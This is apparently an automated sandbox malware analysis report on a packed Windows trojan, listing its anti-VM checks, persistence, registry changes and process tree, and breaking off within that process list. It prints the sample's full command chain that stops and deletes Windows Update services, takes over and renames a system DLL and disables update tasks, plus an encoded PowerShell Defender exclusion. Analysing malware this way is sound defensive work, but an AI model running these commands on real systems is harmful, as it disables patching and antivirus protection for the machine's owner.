17bcc303f2a3cc59084318d7ae9933b9168e1f47276b077676c8c80efb7f82c6

Analysis

max time kernel
142s
max time network
195s
platform
windows7_x64
resource
win7-20220414-en
resource tags

arch:x64arch:x86image:win7-20220414-enlocale:en-usos:windows7-x64system
submitted
15-07-2022 22:16

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

17bcc303f2a3cc59084318d7ae9933b9168e1f47276b077676c8c80efb7f82c6.exe
Size

7.6MB
MD5

2169dc30793b25843551c51894827089
SHA1

6ce2a8226221e154905127e88c0b022d4a89fac5
SHA256

17bcc303f2a3cc59084318d7ae9933b9168e1f47276b077676c8c80efb7f82c6
SHA512

4731809e0f8aa22e3b90a5b81942b20997338ba91489ccc97e054300bdfc9604fb6e66a0ff83738cbee16138a55f4727f9fcddaba3cbcb78bb59bd14cd9e89bc

Score

10^/10

discovery evasion exploit themida trojan

Malware Config

Signatures

Modifies security service 2 TTPs 2 IoCs

evasion

Modify Registry

T1112

Modify Existing Service

T1031

Processes:

reg.exe

description	ioc	process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Security	reg.exe

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 2 IoCs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497

Processes:

updater.exesetup.exe

description ioc process

Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ updater.exe
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ setup.exe
Drops file in Drivers directory 1 IoCs

Processes:

conhost.exe

description ioc process

File opened for modification C:\Windows\system32\drivers\etc\hosts conhost.exe
Executes dropped EXE 2 IoCs

Processes:

setup.exeupdater.exe

pid process

1784 setup.exe
1268 updater.exe
Possible privilege escalation attempt 2 IoCs
exploit

Processes:

icacls.exetakeown.exe

pid process

1148 icacls.exe
688 takeown.exe
Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	updater.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	setup.exe

description	ioc	process
File opened for modification	C:\Windows\system32\drivers\etc\hosts	conhost.exe

pid	process
1784	setup.exe
1268	updater.exe

pid	process
1148	icacls.exe
688	takeown.exe

Checks BIOS information in registry 2 TTPs 4 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

setup.exeupdater.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	setup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	updater.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	updater.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	setup.exe

Drops startup file 2 IoCs

Processes:

cmd.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lol.bat	cmd.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lol.bat	cmd.exe

Loads dropped DLL 2 IoCs

Processes:

17bcc303f2a3cc59084318d7ae9933b9168e1f47276b077676c8c80efb7f82c6.exetaskeng.exe

pid process

1460 17bcc303f2a3cc59084318d7ae9933b9168e1f47276b077676c8c80efb7f82c6.exe
992 taskeng.exe
Modifies file permissions 1 TTPs 2 IoCs
discovery

File and Directory Permissions Modification
T1222

Processes:

takeown.exeicacls.exe

pid process

688 takeown.exe
1148 icacls.exe

pid	process
1460	17bcc303f2a3cc59084318d7ae9933b9168e1f47276b077676c8c80efb7f82c6.exe
992	taskeng.exe

pid	process
688	takeown.exe
1148	icacls.exe

Themida packer 10 IoCs

Detects Themida, an advanced Windows software protection system.

themida

Processes:

resource	yara_rule
\Windows\Temp\setup.exe	themida
C:\Windows\Temp\setup.exe	themida
behavioral1/memory/1784-64-0x0000000000400000-0x00000000010C4000-memory.dmp	themida
behavioral1/memory/1784-61-0x0000000000400000-0x00000000010C4000-memory.dmp	themida
behavioral1/memory/1784-67-0x0000000000400000-0x00000000010C4000-memory.dmp	themida
C:\Windows\Temp\setup.exe	themida
\Program Files\Google\Chrome\updater.exe	themida
C:\Program Files\Google\Chrome\updater.exe	themida
behavioral1/memory/1268-105-0x0000000000400000-0x00000000010C4000-memory.dmp	themida
behavioral1/memory/1268-106-0x0000000000400000-0x00000000010C4000-memory.dmp	themida

Checks whether UAC is enabled 1 TTPs 2 IoCs

evasion trojan

System Information Discovery

T1082

Processes:

setup.exeupdater.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	setup.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	updater.exe

Drops file in System32 directory 1 IoCs

Processes:

powershell.exe

description	ioc	process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

Processes:

setup.exeupdater.exe

pid process

1784 setup.exe
1268 updater.exe

pid	process
1784	setup.exe
1268	updater.exe

Drops file in Program Files directory 2 IoCs

Processes:

conhost.exe

description	ioc	process
File created	C:\Program Files\Google\Chrome\updater.exe	conhost.exe
File opened for modification	C:\Program Files\Google\Chrome\updater.exe	conhost.exe

Launches sc.exe 5 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exe

pid process

1996 sc.exe
1956 sc.exe
1112 sc.exe
544 sc.exe
1768 sc.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exe

pid process

1936 schtasks.exe

pid	process
1996	sc.exe
1956	sc.exe
1112	sc.exe
544	sc.exe
1768	sc.exe

pid	process
1936	schtasks.exe

Modifies Internet Explorer settings 1 TTPs 46 IoCs

adware spyware

Modify Registry

T1112

Processes:

iexplore.exeIEXPLORE.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000\Software\Microsoft\Internet Explorer\DOMStorage\take-realprize.life\Total = "16"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000\Software\Microsoft\Internet Explorer\DOMStorage\Total\ = "16"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000\Software\Microsoft\Internet Explorer\DOMStorage\take-realprize.life\NumberOfSubdomains = "1"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000\Software\Microsoft\Internet Explorer\DOMStorage\Total	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000\Software\Microsoft\Internet Explorer\DOMStorage\take-realprize.life\ = "16"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000\Software\Microsoft\Internet Explorer\DOMStorage\take-realprize.life\Total = "0"	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 8084756ea998d801	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000\Software\Microsoft\Internet Explorer\DOMStorage\take-realprize.life\ = "0"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000\Software\Microsoft\Internet Explorer\LowRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000\Software\Microsoft\Internet Explorer\Zoom	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb010000000c3af8543b09e44f838feec16f4f713200000000020000000000106600000001000020000000b0e01128989c3b0d1c29d9a0fe6a4b15956f2e2fdb03445f1db27f61ebe07cb5000000000e8000000002000020000000cc3ce744069878513d6f01dbee6973fa56ebbab7fc5dc539da5f43e4327e941b2000000076078f9e050d7809ffcb739688880bfb93bb6a034b2d027c11b52be135c98477400000003a4c57df56377a68a9a60543faf0f83d9df1cea19486c156a8505cce5f9a22d6abc36b78cc0ef1aa4f61843c8dbedebede3724363cbf47b68039532a38ccb169	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "364695604"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000\Software\Microsoft\Internet Explorer\DOMStorage\Total\ = "0"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{9FCE4C61-049C-11ED-A43B-F2D3CC06C800} = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000\Software\Microsoft\Internet Explorer\DOMStorage\take-realprize.life	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000\Software\Microsoft\Internet Explorer\DOMStorage	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb010000000c3af8543b09e44f838feec16f4f713200000000020000000000106600000001000020000000333e1c05c0a9f96ff18a9cc358dec534560bebfdec61625877ce8226ff68ae3c000000000e800000000200002000000048088723a7ed97a9931b2f54e1c9501589b6011a41180331488029ec8550d8df9000000043d828ee153465d6230d767bcc464b2d44fb75e25e6c7c41705057e1dfcddf9cbed6056bb47c1274fff1804b177191b23566ea0c6dd5b676ac4349aa3ed2b41d49a4b64bfcc1d83d5afc8a894bad8ad7c9ae5ba581421120a52cf155befe7c76f75d8cdd99cdd6c366a0cacc62412cbfc70d72565b8ae7c79e55cb8f2b7fa9eec4ff14f3c4d04de378eeff29bfdbab1840000000454f7eeb01ef0d011e6e834c49ef37ada7e873de45742591930eb9d3aa654ac16d6e3e4959aa104501583c5d173924f291d9a51ff17a5de3bdcf2068516ea6c3	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe

Modifies data under HKEY_USERS 3 IoCs

Processes:

conhost.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	conhost.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	conhost.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	conhost.exe

Modifies registry key 1 TTPs 9 IoCs

Modify Registry
T1112

Processes:

reg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exe

pid process

976 reg.exe
1888 reg.exe
1600 reg.exe
1756 reg.exe
1952 reg.exe
1140 reg.exe
1876 reg.exe
1276 reg.exe
1456 reg.exe
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.execonhost.exe

pid process

992 powershell.exe
1212 conhost.exe

pid	process
976	reg.exe
1888	reg.exe
1600	reg.exe
1756	reg.exe
1952	reg.exe
1140	reg.exe
1876	reg.exe
1276	reg.exe
1456	reg.exe

pid	process
992	powershell.exe
1212	conhost.exe

Suspicious use of AdjustPrivilegeToken 7 IoCs

Processes:

powershell.exepowercfg.execonhost.exepowercfg.exepowercfg.exepowercfg.exetakeown.exe

description	pid	process
Token: SeDebugPrivilege	992	powershell.exe
Token: SeShutdownPrivilege	1972	powercfg.exe
Token: SeDebugPrivilege	1212	conhost.exe
Token: SeShutdownPrivilege	1948	powercfg.exe
Token: SeShutdownPrivilege	1608	powercfg.exe
Token: SeShutdownPrivilege	1588	powercfg.exe
Token: SeTakeOwnershipPrivilege	688	takeown.exe

Suspicious use of FindShellTrayWindow 1 IoCs

Processes:

iexplore.exe

pid process

696 iexplore.exe
Suspicious use of SetWindowsHookEx 6 IoCs

Processes:

iexplore.exeIEXPLORE.EXE

pid process

696 iexplore.exe
696 iexplore.exe
568 IEXPLORE.EXE
568 IEXPLORE.EXE
568 IEXPLORE.EXE
568 IEXPLORE.EXE

pid	process
696	iexplore.exe

pid	process
696	iexplore.exe
696	iexplore.exe
568	IEXPLORE.EXE
568	IEXPLORE.EXE
568	IEXPLORE.EXE
568	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

17bcc303f2a3cc59084318d7ae9933b9168e1f47276b077676c8c80efb7f82c6.exesetup.execmd.exeiexplore.execonhost.execmd.execmd.exe

description	pid	process	target process
PID 1460 wrote to memory of 1784	1460	17bcc303f2a3cc59084318d7ae9933b9168e1f47276b077676c8c80efb7f82c6.exe	setup.exe
PID 1460 wrote to memory of 1784	1460	17bcc303f2a3cc59084318d7ae9933b9168e1f47276b077676c8c80efb7f82c6.exe	setup.exe
PID 1460 wrote to memory of 1784	1460	17bcc303f2a3cc59084318d7ae9933b9168e1f47276b077676c8c80efb7f82c6.exe	setup.exe
PID 1460 wrote to memory of 1784	1460	17bcc303f2a3cc59084318d7ae9933b9168e1f47276b077676c8c80efb7f82c6.exe	setup.exe
PID 1460 wrote to memory of 1704	1460	17bcc303f2a3cc59084318d7ae9933b9168e1f47276b077676c8c80efb7f82c6.exe	cmd.exe
PID 1460 wrote to memory of 1704	1460	17bcc303f2a3cc59084318d7ae9933b9168e1f47276b077676c8c80efb7f82c6.exe	cmd.exe
PID 1460 wrote to memory of 1704	1460	17bcc303f2a3cc59084318d7ae9933b9168e1f47276b077676c8c80efb7f82c6.exe	cmd.exe
PID 1460 wrote to memory of 1704	1460	17bcc303f2a3cc59084318d7ae9933b9168e1f47276b077676c8c80efb7f82c6.exe	cmd.exe
PID 1460 wrote to memory of 1952	1460	17bcc303f2a3cc59084318d7ae9933b9168e1f47276b077676c8c80efb7f82c6.exe	cmd.exe
PID 1460 wrote to memory of 1952	1460	17bcc303f2a3cc59084318d7ae9933b9168e1f47276b077676c8c80efb7f82c6.exe	cmd.exe
PID 1460 wrote to memory of 1952	1460	17bcc303f2a3cc59084318d7ae9933b9168e1f47276b077676c8c80efb7f82c6.exe	cmd.exe
PID 1460 wrote to memory of 1952	1460	17bcc303f2a3cc59084318d7ae9933b9168e1f47276b077676c8c80efb7f82c6.exe	cmd.exe
PID 1784 wrote to memory of 1212	1784	setup.exe	conhost.exe
PID 1784 wrote to memory of 1212	1784	setup.exe	conhost.exe
PID 1784 wrote to memory of 1212	1784	setup.exe	conhost.exe
PID 1784 wrote to memory of 1212	1784	setup.exe	conhost.exe
PID 1952 wrote to memory of 696	1952	cmd.exe	iexplore.exe
PID 1952 wrote to memory of 696	1952	cmd.exe	iexplore.exe
PID 1952 wrote to memory of 696	1952	cmd.exe	iexplore.exe
PID 1952 wrote to memory of 696	1952	cmd.exe	iexplore.exe
PID 696 wrote to memory of 568	696	iexplore.exe	IEXPLORE.EXE
PID 696 wrote to memory of 568	696	iexplore.exe	IEXPLORE.EXE
PID 696 wrote to memory of 568	696	iexplore.exe	IEXPLORE.EXE
PID 696 wrote to memory of 568	696	iexplore.exe	IEXPLORE.EXE
PID 1212 wrote to memory of 992	1212	conhost.exe	powershell.exe
PID 1212 wrote to memory of 992	1212	conhost.exe	powershell.exe
PID 1212 wrote to memory of 992	1212	conhost.exe	powershell.exe
PID 1212 wrote to memory of 2016	1212	conhost.exe	cmd.exe
PID 1212 wrote to memory of 2016	1212	conhost.exe	cmd.exe
PID 1212 wrote to memory of 2016	1212	conhost.exe	cmd.exe
PID 1212 wrote to memory of 956	1212	conhost.exe	cmd.exe
PID 1212 wrote to memory of 956	1212	conhost.exe	cmd.exe
PID 1212 wrote to memory of 956	1212	conhost.exe	cmd.exe
PID 2016 wrote to memory of 1996	2016	cmd.exe	sc.exe
PID 2016 wrote to memory of 1996	2016	cmd.exe	sc.exe
PID 2016 wrote to memory of 1996	2016	cmd.exe	sc.exe
PID 956 wrote to memory of 1972	956	cmd.exe	powercfg.exe
PID 956 wrote to memory of 1972	956	cmd.exe	powercfg.exe
PID 956 wrote to memory of 1972	956	cmd.exe	powercfg.exe
PID 2016 wrote to memory of 1956	2016	cmd.exe	sc.exe
PID 2016 wrote to memory of 1956	2016	cmd.exe	sc.exe
PID 2016 wrote to memory of 1956	2016	cmd.exe	sc.exe
PID 2016 wrote to memory of 1112	2016	cmd.exe	sc.exe
PID 2016 wrote to memory of 1112	2016	cmd.exe	sc.exe
PID 2016 wrote to memory of 1112	2016	cmd.exe	sc.exe
PID 956 wrote to memory of 1948	956	cmd.exe	powercfg.exe
PID 956 wrote to memory of 1948	956	cmd.exe	powercfg.exe
PID 956 wrote to memory of 1948	956	cmd.exe	powercfg.exe
PID 2016 wrote to memory of 544	2016	cmd.exe	sc.exe
PID 2016 wrote to memory of 544	2016	cmd.exe	sc.exe
PID 2016 wrote to memory of 544	2016	cmd.exe	sc.exe
PID 2016 wrote to memory of 1768	2016	cmd.exe	sc.exe
PID 2016 wrote to memory of 1768	2016	cmd.exe	sc.exe
PID 2016 wrote to memory of 1768	2016	cmd.exe	sc.exe
PID 956 wrote to memory of 1608	956	cmd.exe	powercfg.exe
PID 956 wrote to memory of 1608	956	cmd.exe	powercfg.exe
PID 956 wrote to memory of 1608	956	cmd.exe	powercfg.exe
PID 2016 wrote to memory of 1600	2016	cmd.exe	reg.exe
PID 2016 wrote to memory of 1600	2016	cmd.exe	reg.exe
PID 2016 wrote to memory of 1600	2016	cmd.exe	reg.exe
PID 956 wrote to memory of 1588	956	cmd.exe	powercfg.exe
PID 956 wrote to memory of 1588	956	cmd.exe	powercfg.exe
PID 956 wrote to memory of 1588	956	cmd.exe	powercfg.exe
PID 2016 wrote to memory of 1756	2016	cmd.exe	reg.exe

C:\Users\Admin\AppData\Local\Temp\17bcc303f2a3cc59084318d7ae9933b9168e1f47276b077676c8c80efb7f82c6.exe
"C:\Users\Admin\AppData\Local\Temp\17bcc303f2a3cc59084318d7ae9933b9168e1f47276b077676c8c80efb7f82c6.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1460

C:\Windows\Temp\setup.exe
"C:\Windows\Temp\setup.exe"
2⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of WriteProcessMemory
PID:1784

C:\Windows\System32\conhost.exe
"C:\Windows\System32\conhost.exe" "C:\Windows\Temp\setup.exe"
3⤵
- Drops file in Drivers directory
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1212

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAG8AZAAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYgBuAGQAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAdQB5ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGQAdgAjAD4A"
4⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:992

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f & takeown /f %SystemRoot%\System32\WaaSMedicSvc.dll & icacls %SystemRoot%\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename %SystemRoot%\System32\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
4⤵
- Suspicious use of WriteProcessMemory
PID:2016

C:\Windows\system32\sc.exe
sc stop UsoSvc
5⤵
- Launches sc.exe
PID:1996

C:\Windows\system32\sc.exe
sc stop WaaSMedicSvc
5⤵
- Launches sc.exe
PID:1956

C:\Windows\system32\sc.exe
sc stop wuauserv
5⤵
- Launches sc.exe
PID:1112

C:\Windows\system32\sc.exe
sc stop bits
5⤵
- Launches sc.exe
PID:544

C:\Windows\system32\sc.exe
sc stop dosvc
5⤵
- Launches sc.exe
PID:1768

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f
5⤵
- Modifies registry key
PID:1600

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f
5⤵
- Modifies registry key
PID:1756

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f
5⤵
- Modifies security service
- Modifies registry key
PID:1952

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f
5⤵
- Modifies registry key
PID:1140

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f
5⤵
- Modifies registry key
PID:1876

C:\Windows\system32\takeown.exe
takeown /f C:\Windows\System32\WaaSMedicSvc.dll
5⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:688

C:\Windows\system32\icacls.exe
icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q
5⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1148

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f
5⤵
- Modifies registry key
PID:976

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f
5⤵
- Modifies registry key
PID:1276

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f
5⤵
- Modifies registry key
PID:1456

C:\Windows\system32\schtasks.exe
